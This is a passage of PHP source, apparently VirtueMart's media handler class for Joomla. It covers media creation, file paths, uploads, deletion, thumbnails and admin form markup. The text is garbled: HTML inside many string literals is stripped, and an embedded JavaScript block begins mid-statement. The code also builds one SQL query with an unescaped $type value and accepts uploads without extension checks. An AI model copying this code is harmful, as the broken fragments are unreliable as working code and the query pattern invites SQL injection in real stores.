//$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/typeless/'; $this->setRole=true; } else if(!$choosed and $this->file_is_forSale==1){ $relUrl = ''; $this->setRole=false; } return $relUrl; } /** * This function determines the type of a media and creates it. * When you want to write a child class of the mediahandler, you need to manipulate this function. * We may use later here a hook for plugins or simular * * @author Max Milbers * @param object $table * @param string $type vendor,product,category,... * @param string $file_mimetype such as image/jpeg */ static public function createMedia($table,$type='',$file_mimetype=''){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $extension = strtolower(JFile::getExt($table->file_url)); $isImage = self::isImage($extension); if($isImage){ if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php'); $media = new VmImage(); } else { $media = new VmMediaHandler(); } $attribsImage = get_object_vars($table); foreach($attribsImage as $k=>$v){ $media->$k = $v; } if(empty($type)){ $type = $media->file_type; } else { $media->file_type = $type; } $media->setFileInfo($type); return $media; } /** * This prepares the object for storing the data. This means it does the action * and returns the data for storing in the table * * @author Max Milbers * @param object $table * @param array $data * @param string $type */ static public function prepareStoreMedia($table,$data,$type){ $media = VmMediaHandler::createMedia($table,$type); $data = $media->processAttributes($data); $data = $media->processAction($data); $attribsImage = get_object_vars($media); foreach($attribsImage as $k=>$v){ $data[$k] = $v; } return $data; } /** * Sets the file information and paths/urls and so on. * * @author Max Milbers * @param unknown_type $filename * @param unknown_type $url * @param unknown_type $path */ function setFileInfo($type=0){ $this->file_url_folder = ''; $this->file_path_folder = ''; $this->file_url_folder_thumb = ''; if($this->file_is_forSale==0 and $type!='forSale'){ $this->file_url_folder = $this->getMediaUrlByView($type); $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $this->file_path_folder = str_replace('/',DS,$this->file_url_folder); } else { if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = shopFunctions::checkSafePath(); if(!$safePath){ return FALSE; } $this->file_path_folder = $safePath; $this->file_url_folder = $this->file_path_folder;//str_replace(DS,'/',$this->file_path_folder); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); } //Clean from possible injection while(strpos($this->file_path_folder,'..')!==false){ $this->file_path_folder = str_replace('..', '', $this->file_path_folder); }; $this->file_path_folder = preg_replace('#[/\\\\]+#', DS, $this->file_path_folder); if(empty($this->file_url)){ $this->file_url = $this->file_url_folder; $this->file_name = ''; $this->file_extension = ''; } else { if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if($this->file_is_forSale==1){ $rdspos = strrpos($this->file_url,DS); if($rdspos!==false){ $name = substr($this->file_url,$rdspos+1); } else { vmdebug('$name',$this->file_url,$rdspos); } } else { //This construction is only valid for the images, it is for own structuring using folders $name = str_replace($this->file_url_folder,'',$this->file_url); } //vmdebug('setFileInfo',$name,$this->file_title); if(!empty($name) && $name !=='/'){ $this->file_name = JFile::stripExt($name); $this->file_extension = strtolower(JFile::getExt($name)); //Ensure using right directory $file_url = $this->getMediaUrlByView($type).$name; if($this->file_is_forSale==1){ if(JFile::exists($file_url)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in safepath '.$file_url); } } else { $pathToTest = JPATH_ROOT.DS.str_replace('/',DS,$file_url); if(JFile::exists($pathToTest)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in '.$pathToTest); } } } } if($this->file_is_downloadable) $this->media_role = 'file_is_downloadable'; if($this->file_is_forSale) $this->media_role = 'file_is_forSale'; if(empty($this->media_role)) $this->media_role = 'file_is_displayable'; // vmdebug('$this->media_role',$this->media_role); $this->determineFoldersToTest(); if(!empty($this->file_url) && empty($this->file_url_thumb)){ $this->displayMediaThumb('',true,'',false); } } public function getUrl(){ return $this->file_url_folder.$this->file_name.'.'.$this->file_extension; } public function getThumbUrl(){ return $this->file_url_folder_thumb.$this->file_name.'.'.$this->file_extension; } public function getFullPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension; } public function getThumbPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name_thumb.'.'.$this->file_extension; } /** * Tests if a function is an image by mime or extension * * @author Max Milbers * @param string $file_mimetype * @param string $file_extension */ static private function isImage($file_extension=0){ if($file_extension == 'jpg' || $file_extension == 'jpeg' || $file_extension == 'png' || $file_extension == 'gif'){ $isImage = TRUE; } else { $isImage = FALSE; } return $isImage; } private $_foldersToTest = array(); /** * This functions adds the folders to test for each media, you can add more folders to test with * addFoldersToTest * @author Max Milbers */ public function determineFoldersToTest(){ $file_path = str_replace('/',DS,$this->file_url_folder); if($this->file_is_forSale){ $this->addFoldersToTest($file_path); } else { $this->addFoldersToTest(JPATH_ROOT.DS.$file_path); } $file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb); $this->addFoldersToTest(JPATH_ROOT.DS.$file_path_thumb); } /** * Add complete paths here to test/display if their are writable * * @author Max Milbers * @param absolutepPath $folders */ public function addFoldersToTest($folders){ if(!is_array($folders)) $folders = (array) $folders; $this->_foldersToTest = array_merge($this->_foldersToTest, $folders); } /** * Displays for paths if they are writeable * You set the folders to test with the function addFoldersToTest * @author Max Milbers */ public function displayFoldersWriteAble(){ $style = 'text-align:left;margin-left:20px;'; $result = '
    '; foreach( $this->_foldersToTest as $dir ) { $result .= $dir . ' :: '; $result .= is_writable( $dir ) ? ''.JText::_('COM_VIRTUEMART_WRITABLE').'' : ''.JText::_('COM_VIRTUEMART_UNWRITABLE').''; $result .= '
    '; } $result .= '
    '; return $result; } /** * Shows the supported file types for the server * * @author enyo 06-Nov-2003 03:32 http://www.php.net/manual/en/function.imagetypes.php * @author Max Milbers * @return multitype:string */ function displaySupportedImageTypes() { $aSupportedTypes = array(); $aPossibleImageTypeBits = array( IMG_GIF=>'GIF', IMG_JPG=>'JPG', IMG_PNG=>'PNG', IMG_WBMP=>'WBMP' ); foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) { if(function_exists('imagetypes')){ if (imagetypes() & $iImageTypeBits) { $aSupportedTypes[] = $sImageTypeString; } } } $supportedTypes = ''; if(function_exists('mime_content_type')){ $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED').'
    '; } else { $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED').'
    '; } $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED'). implode($aSupportedTypes,', '); return $supportedTypes; } /** * Just for overwriting purpose for childs. Take a look on VmImage to see an example * * @author Max Milbers */ function displayMediaFull(){ return $this->displayMediaThumb('id="vm_display_image"',false,'',true,true); } /** * This function displays the image, when the image is not already a resized one, * it tries to get first the resized one, or create a resized one or fallback in case * * @author Max Milbers * * @param string $imageArgs Attributes to be included in the tag. * @param boolean $lightbox alternative display method * @param string $effect alternative lightbox display * @param boolean $withDesc display the image media description */ function displayMediaThumb($imageArgs='',$lightbox=true,$effect="class='modal' rel='group'",$return = true,$withDescr = false,$absUrl = false, $width=0,$height=0){ if(empty($this->file_name)){ if($return){ if($this->file_is_downloadable){ $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('downloadable','zip.png'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr); } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_set'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect); } } } if(!empty($this->file_url_thumb)){ $file_url_thumb = $this->file_url_thumb; } else if(is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); } else { $file_url_thumb = ''; } $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); if(empty($this->file_meta)){ if(!empty($this->file_description)){ $file_alt = $this->file_description; } else if(!empty($this->file_name)) { $file_alt = $this->file_name; } else { $file_alt = ''; } } else { $file_alt = $this->file_meta; } if ((empty($file_url_thumb) || !file_exists($media_path)) && is_a($this,'VmImage')) { if(empty($width)) $width = VmConfig::get('img_width', 90); if(empty($height)) $height = VmConfig::get('img_height', 90); //vmSetStartTime('thumb'); $file_url_thumb = $this->createThumb($width,$height); //vmTime('Time to create thumb','thumb'); // vmdebug('displayMediaThumb',$this->file_url_thumb); $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); //$file_url = $this->file_url_thumb; //Here we need now to update the database field of $this->file_url_thumb to prevent dynamic thumbnailing in future //We do not update anylonger, only if there is an override used /*if(empty($this->_db)) $this->_db = JFactory::getDBO(); $query = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb` = "'.$this->_db->getEscaped($this->file_url_thumb).'" WHERE `#__virtuemart_medias`.`virtuemart_media_id` = "'.(int)$this->virtuemart_media_id.'" '; $this->_db->setQuery($query); $this->_db->query();*/ } $this->file_url_thumb = $file_url_thumb; if($withDescr) $withDescr = $this->file_description; if (empty($this->file_url_thumb) || !file_exists($media_path)) { return $this->getIcon($imageArgs,$lightbox,$return,$withDescr,$absUrl); } if($return) return $this->displayIt($file_url_thumb, $file_alt, $imageArgs,$lightbox,$effect,$withDescr,$absUrl); } /** * This function should return later also an icon, if there isnt any automatic thumbnail creation possible * like pdf, zip, ... * * @author Max Milbers * @param string $imageArgs * @param boolean $lightbox */ function getIcon($imageArgs,$lightbox,$return=false,$withDescr=false,$absUrl = false){ if(!empty($this->file_extension)){ $file_url = $this->theme_url.'assets/images/vmgeneral/filetype_'.$this->file_extension.'.png'; $file_alt = $this->file_description; } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description; } if($return){ if($this->file_is_downloadable){ return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr,$absUrl); } else { return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,'',$withDescr,$absUrl); } } } /** * This function is just for options how to display an image... * we may add here plugins for displaying images * * @author Max Milbers * @param string $file_url relative Url * @param string $file_alt media description * @param string $imageArgs attributes for displaying the images * @param boolean $lightbox use lightbox */ function displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect ="class='modal'",$withDesc=false,$absUrl = false){ if ($withDesc) $desc=''.$withDesc.''; else $desc=''; // vmdebug('displayIt $file_alt'.$file_alt,$imageArgs); if($lightbox){ $image = JHTML::image($file_url, $file_alt, $imageArgs); if ($file_alt ) $file_alt = 'title="'.$file_alt.'"'; if ($this->file_url and pathinfo($this->file_url, PATHINFO_EXTENSION) and substr( $this->file_url, 0, 4) != "http") $href = JURI::root() .$this->file_url ; else $href = $file_url ; if ($this->file_is_downloadable) { $lightboxImage = ''.$image.$desc.''; } else { $lightboxImage = ''.$image.''; $lightboxImage = $lightboxImage.$desc; } return $lightboxImage; } else { $root=''; if($absUrl) $root = JURI::root(); return JHTML::image($root.$file_url, $file_alt, $imageArgs).$desc; } } /** * Handles the upload process of a media, sets the mime_type, when success * * @author Max Milbers * @param string $urlfolder relative url of the folder where to store the media * @return name of the uploaded file */ function uploadFile($urlfolder,$overwrite = false){ if(empty($urlfolder) OR strlen($urlfolder)<2){ vmError('Not able to upload file, give path/url empty/too short '.$urlfolder.' please correct path in your virtuemart config'); return false; } $media = JRequest::getVar('upload', array(), 'files'); $app = JFactory::getApplication(); switch ($media['error']) { case 0: $path_folder = str_replace('/',DS,$urlfolder); //Sadly it does not work to upload unicode files, // the ä for example is stored on windows as ä, this seems to be a php issue (maybe a config setting) // //Sanitize name of media /* $dotPos = strrpos($media['name'],'.'); $safeMediaName = vmFile::makeSafe( $media['name'] ); if($dotPos!==FALSE){ $mediaPure = substr($media['name'],0,$dotPos); $mediaExtension = strtolower(substr($media['name'],$dotPos)); } else{ $mediaPure = ''; $mediaExtension = ''; } */ $safeMediaName = vmFile::makeSafe( $media['name'] ); $media['name'] = $safeMediaName; $mediaPure = JFile::stripExt($media['name']); $mediaExtension = '.'.strtolower(JFile::getExt($media['name'])); vmdebug('uploadFile $safeMediaName',$media['name'],$safeMediaName,$mediaPure,$mediaExtension); if(!$overwrite){ while (file_exists(JPATH_ROOT.DS.$path_folder.$mediaPure.$mediaExtension)) { $mediaPure = $mediaPure.rand(1,9); } } $media['name'] = $this->file_name =$mediaPure.$mediaExtension; if($this->file_is_forSale==0){ JFile::upload($media['tmp_name'],JPATH_ROOT.DS.$path_folder.$media['name']); } else { JFile::upload($media['tmp_name'],$path_folder.$media['name']); } $this->file_mimetype = $media['type']; $this->media_published = 1; $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_UPLOAD_OK',JPATH_ROOT.DS.$path_folder.$media['name'])); return $media['name']; case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_UPLOAD_MAX_FILESIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_MAX_FILE_SIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 3: //uploaded file was only partially uploaded $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_PARTIALLY',$media['name'],$media['tmp_name']), 'warning'); break; case 4: //no file was uploaded //$vmLogger->warning( "You have not selected a file/image for upload." ); break; default: //a default error, just in case! :) //$vmLogger->warning( "There was a problem with your upload." ); break; } return false; } /** * Deletes a file * * @param string $url relative Url, gets adjusted to path */ function deleteFile($url){ jimport('joomla.filesystem.file'); $file_path = JPATH_ROOT.DS.str_replace('/',DS,$url); $app = JFactory::getApplication(); if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } $msg_path = ''; if(Permissions::getInstance()->check('admin')){ $msg_path = $file_path; } if($res = JFile::delete( $file_path )){ $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_OK',$msg_path)); } else { $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_ERR',$res.' '.$msg_path)); } return ; } /** * Processes the choosed Action while storing the data, gets extend by the used child, use for the action clear commands. * Useable commands in all medias upload, upload_delete, delete, and all of them with _thumb on it also. * * @author Max Milbers * @param arraybyform $data */ function processAction($data){ if(empty($data['media_action'])) return $data; // $data['published'] = 1; if( $data['media_action'] == 'upload' ){ $this->virtuemart_media_id=0; $this->file_url=''; $this->file_url_thumb=''; $file_name = $this->uploadFile($this->file_url_folder); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; } else if( $data['media_action'] == 'replace' ){ // $oldFileUrl = $data['file_url']; // vmdebug('replace media',$this); $oldFileUrl = $this->file_url; $oldFileUrlThumb = $this->file_url_thumb; $file_name = $this->uploadFile($this->file_url_folder,true); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; if($this->file_url!=$oldFileUrl && !empty($this->file_name)){ $this->deleteFile($oldFileUrl); } //always delete the thumb $this->deleteFile($oldFileUrlThumb); } else if( $data['media_action'] == 'replace_thumb' ){ $oldFileUrlThumb = $this->file_url_thumb; $oldFileUrl = $this->file_url_folder_thumb; $file_name = $this->uploadFile($this->file_url_folder_thumb,true); $this->file_name = $file_name; $this->file_url_thumb = $this->file_url_folder_thumb.$this->file_name; if($this->file_url_thumb!=$oldFileUrl&& !empty($this->file_name)){ $this->deleteFile($oldFileUrlThumb); } } else if( $data['media_action'] == 'delete' ){ //TODO this is complex, we must assure that the media entry gets also deleted. //$this->deleteFile($this->file_url); unset($data['active_media_id']); } if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name; // if(empty($this->file_title) && !empty($file_name)) $data['file_title'] = $file_name; return $data; } /** * For processing the Attributes of the media while the storing process * * @author Max Milbers * @param unknown_type $data */ function processAttributes($data){ $this->file_is_product_image = 0; $this->file_is_downloadable = 0; // $this->file_is_forSale = 0; if(empty($data['media_roles'])) return $data; if($data['media_roles'] == 'file_is_downloadable'){ $this->file_is_downloadable = 1; $this->file_is_forSale = 0; } else if($data['media_roles'] == 'file_is_forSale'){ $this->file_is_downloadable = 0; $this->file_is_forSale = 1; $this->file_url_folder = VmConfig::get('forSale_path'); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); $this->setRole = false; } if($this->setRole and $data['media_roles'] != 'file_is_forSale'){ $this->file_url_folder = $this->getMediaUrlByView($data['media_attributes']); //media_roles $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $typelessUrl = 'images/stories/virtuemart/typeless/'.$this->file_name; vmdebug('the Urls',$data['media_roles'],$typelessUrl,$this->file_url_folder.$this->file_name); if(!file_exists($this->file_url_folder.$this->file_name) and file_exists($typelessUrl)){ vmdebug('Execute move'); JFile::move($typelessUrl, $this->file_url_folder.$this->file_name); } } if(!empty($data['vmlangimg'])) { $vmlangimg = implode(",", $data['vmlangimg']); $this->file_lang = $vmlangimg; } return $data; } private $_actions = array(); /** * This method can be used to add extra actions to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ function addMediaAction($optionName,$langkey){ $this->_actions[$optionName] = $langkey ; } /** * Adds the media action which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ function addMediaActionByType(){ $this->addMediaAction(0,'COM_VIRTUEMART_NONE'); $view = JRequest::getWord('view'); if($view!='media' || empty($this->file_name)){ $this->addMediaAction('upload','COM_VIRTUEMART_FORM_MEDIA_UPLOAD'); } if(!empty($this->file_name)){ $this->addMediaAction('replace','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE'); $this->addMediaAction('replace_thumb','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB'); // $this->addMediaAction('delete_thumb','COM_VIRTUEMART_FORM_MEDIA_DELETE_THUMB'); // $this->addMediaAction('delete','COM_VIRTUEMART_FORM_MEDIA_DELETE'); } } private $_mLocation = array(); /** * This method can be used to add extra attributes to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ public function addMediaAttributes($optionName,$langkey=''){ $this->_mLocation[$optionName] = $langkey ; } /** * Adds the attributes which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ public function addMediaAttributesByType(){ if($this->setRole){ // $this->addMediaAttributes('file_is_product_image','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); $this->addMediaAttributes('product','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); // => file_is_displayable =>location $this->addMediaAttributes('category','COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY'); $this->addMediaAttributes('manufacturer','COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER'); $this->addMediaAttributes('vendor','COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR'); $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { if($this->file_is_forSale==1){ $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; } } } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displayFileHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel media */ public function addHidden($name, $value=''){ $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * @author Max Milbers */ private function addHiddenByType(){ $this->addHidden('active_media_id',$this->virtuemart_media_id); $this->addHidden('option','com_virtuemart'); // $this->addHidden('file_mimetype',$this->file_mimetype); } /** * Displays file handler and file selector * * @author Max Milbers * @param array $fileIds */ public function displayFilesHandler($fileIds,$type){ VmConfig::loadJLang('com_virtuemart_media'); $html = $this->displayFileSelection($fileIds,$type); $html .= $this->displayFileHandler(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_db->setQuery('SELECT FOUND_ROWS()'); $imagetotal = $this->_db->loadResult(); //vmJsApi::jQuery(array('easing-1.3.pack','mousewheel-3.0.4.pack','fancybox-1.3.4.pack'),'','fancybox'); $j = ' //0) media.start=0; }); searchMedia.autocomplete({ source: medialink, select: function(event, ui){ $('#ImagesContainer').append(ui.item.label); //$(this).autocomplete( 'option' , 'source' , '". JURI::root(false) ."administrator/index.php?option=com_virtuemart&view=product&task=getData&format=json&type=relatedcategories&row='+nextCustom ) }, minLength:1, html: true }); $('.js-pages').click(function (e) { e.preventDefault(); if (searchMedia.val() =='') { searchMedia.val(' '); media.start = 0; } else if ($(this).hasClass('js-next')) media.start = media.start+16 ; else if (media.start > 0) media.start = media.start-16 ; searchMedia.autocomplete( 'option' , 'source' , medialink+'&start='+media.start ); searchMedia.autocomplete( 'search'); }); $('#ImagesContainer').sortable({ update: function(event, ui) { $(this).find('.ordering').each(function(index,element) { $(element).val(index); //console.log(index+' '); }); } }); $('#upload').change( function (){ if ($('#media_action0').is(':checked') ) $('#media_actionupload').attr('checked', true); }); }); //]]> "; $document = JFactory::getDocument (); $document->addScriptDeclaration ( $j); return $html; } /** * Displays a possibility to select already uploaded media * the getImagesList must be adjusted to have more search functions * @author Max Milbers * @param array $fileIds */ public function displayFileSelection($fileIds,$type = 0){ $html=''; $html .= '
    ' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGES').''; $html .= ''.JText::_('COM_VIRTUEMART_SEARCH_MEDIA') . ''; $html .= ' 16 16 '; $html .='
    '; $html .= '
    '; if(!empty($fileIds)) { $model = VmModel::getModel('Media'); $medias = $model->createMediaByIds($fileIds, $type); foreach($medias as $k=>$id){ $html .= $this->displayImage($id,$k ); } } $html .= '
    '; return $html.'
    '; } function displayImage($image ,$key) { if (isset($image->file_url)) { $image->file_root = JURI::root(true).'/'; $image->msg = 'OK'; return ''; } else { $fileTitle = empty($image->file_title)? 'no title':$image->file_title; return '
    '.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
    '.$fileTitle.'
    '; } } static function displayImages($types ='',$page=0,$max=16 ) { $Images = array(); $list = VmMediaHandler::getImagesList($types,$page,$max); if (empty($list['images'])){ return JText::_('COM_VIRTUEMART_NO_MEDIA_FILES'); } foreach ($list['images'] as $key =>$image) { $htmlImages =''; if ($image->file_url_thumb > "0" ) { // $imagesList->file_root = JURI::root(true).'/'; // $imagesList->msg = 'OK'; $htmlImages .= '
    ' .JHTML::image($image->file_url_thumb,$image->file_title, 'class="vm_thumb" ').''; } else { $htmlImages .= '
    '.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
    '.$image->file_title ; } $Images[$key ]['label'] = $htmlImages.'
    '; $Images[$key ]['value'] = $image->file_title.' :: '.$image->virtuemart_media_id; } //$list['htmlImages'] = $htmlImages; return $Images; } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getFiles function of the media model or write something simular * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getImagesList($type = '',$limit=0, $max=16) { $db = JFactory::getDBO(); $list = array(); $vendorId=1;//TODO control the vendor $q='SELECT SQL_CALC_FOUND_ROWS `virtuemart_media_id` FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "'.(int)$vendorId.'" OR `shared` = "1")'; if(!empty($type)){ $q .= ' AND `file_type` = "'.$type.'" '; } if ($search = JRequest::getString('term', false)){ $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $q .= ' AND (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.') '; } $q .= ' LIMIT '.(int)$limit.', '.(int)$max; $db->setQuery($q); // $result = $this->_db->loadAssocList(); if ($virtuemart_media_ids = $db->loadResultArray()) { $errMsg = $db->getErrorMsg(); $errs = $db->getErrors(); $model = VmModel::getModel('Media'); $db->setQuery('SELECT FOUND_ROWS()'); $list['total'] = $db->loadResult(); $list['images'] = $model->createMediaByIds($virtuemart_media_ids, $type); if(!empty($errMsg)){ $app = JFactory::getApplication(); $errNum = $db->getErrorNum(); $app->enqueueMessage('SQL-Error: '.$errNum.' '.$errMsg); } if($errs){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } return $list; } else return array(); } /** * This displays a media handler. It displays the full and the thumb (icon) of the media. * It also gives a possibility to upload/change/thumbnail media * * @param string $imageArgs html atttributes, Just for displaying the fullsized image */ public function displayFileHandler(){ VmConfig::loadJLang('com_virtuemart_media'); $identify = ''; // ':'.$this->virtuemart_media_id; $this->addHiddenByType(); $html = '
    ' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGE_INFORMATION').''; $html .= '
    '; $imageArgs = 'id="vm_display_image" '; $html .= $this->displayMediaFull($imageArgs,false,'',false).'
    '; //This makes problems, when there is already a form, and there would be form in a form. breaks js in some browsers // $html .= '
    '; $html .= ' '; if ($this->published || $this->virtuemart_media_id === 0){ $checked = 1; } else { $checked = 0; } $html .= ''; // The following was removed bacause the check box (publish/unpublish) was not functioning... // $this->media_published = $this->published; $html .= ''; $html .= ''; $html .= ''; // $html .= ' // // // '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ) $readonly='readonly'; else $readonly =''; $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_TITLE','file_title'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION','file_description'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_META','file_meta'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL','file_url',$readonly); //remove the file_url_thumb in case it is standard if(!empty($this->file_url_thumb) and is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); //vmdebug('my displayFileHandler ',$this,$file_url_thumb); if($this->file_url_thumb == $file_url_thumb){ $this->file_url_thumb = JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$file_url_thumb); } } $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB','file_url_thumb',$readonly); $this->addMediaAttributesByType(); $html .= ''; // $html .= ''; } else { $mediaattribtemp = $this->media_attributes; if(empty($this->media_attributes)){ $mediaattribtemp = 'product'; } $html .= ''; } // select language for image if (count(vmconfig::get('active_languages'))>1) { $selectedLangue = explode(",", $this->file_lang); $languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $html .= ''; } $html .= '
    '; if(!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html .= VmHTML::checkbox('media_published',$checked,1,0,'class="inputbox"','media_published'.$identify) ; // $html .=''; $html .= JHTML::image($this->file_url_thumb, 'thumbnail', 'id="vm_thumb_image" style="overflow: auto; float: right;"'); // $html .= $this->displayMediaThumb('',false,'id="vm_thumb_image" style="overflow: auto; float: right;"'); $html .= '
    '. JText::_('COM_VIRTUEMART_FILES_FORM_CURRENT_FILE') .''.$this->file_name.'.'.$this->file_extension .'
    '.JText::_('COM_VIRTUEMART_FILES_FORM_ROLE').'
    '.JHTML::_('select.radiolist', $this->getOptions($this->_mRoles), 'media_roles'.$identify, '', 'value', 'text', $this->media_role).'
    '.VmHTML::checkbox('file_is_forSale', $this->file_is_forSale); // $html .= VmHTML::checkbox('file_is_downloadable', $this->file_is_downloadable); if(!empty($this->file_type)){ $html .= '
    '.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
    '.JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_'.strtoupper($this->file_type)).'
    '.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
    '.JHTML::_('select.radiolist', $this->getOptions($this->_mLocation), 'media_attributes'.$identify, '', 'value', 'text', $mediaattribtemp).'
    ' . JText::_ ('COM_VIRTUEMART_FILES_FORM_LANGUAGE') . '
    '.JHTML::_('select.genericlist', $languages, 'vmlangimg[]', 'size="10" multiple="multiple"', 'value', 'text', $selectedLangue ).'
    '; $html .='
    '; $this->addMediaActionByType(); $html .= '
    ' ; $html .= ''.JText::_('COM_VIRTUEMART_FILE_UPLOAD').''; $html .= JText::_('COM_VIRTUEMART_IMAGE_ACTION'). JHTML::_('select.radiolist', $this->getOptions($this->_actions), 'media_action'.$identify, '', 'value', 'text', 0).'

    '; $html .= JText::_('COM_VIRTUEMART_FILE_UPLOAD').'
    '; $html .= '
    '.$this->displaySupportedImageTypes(); $html .='
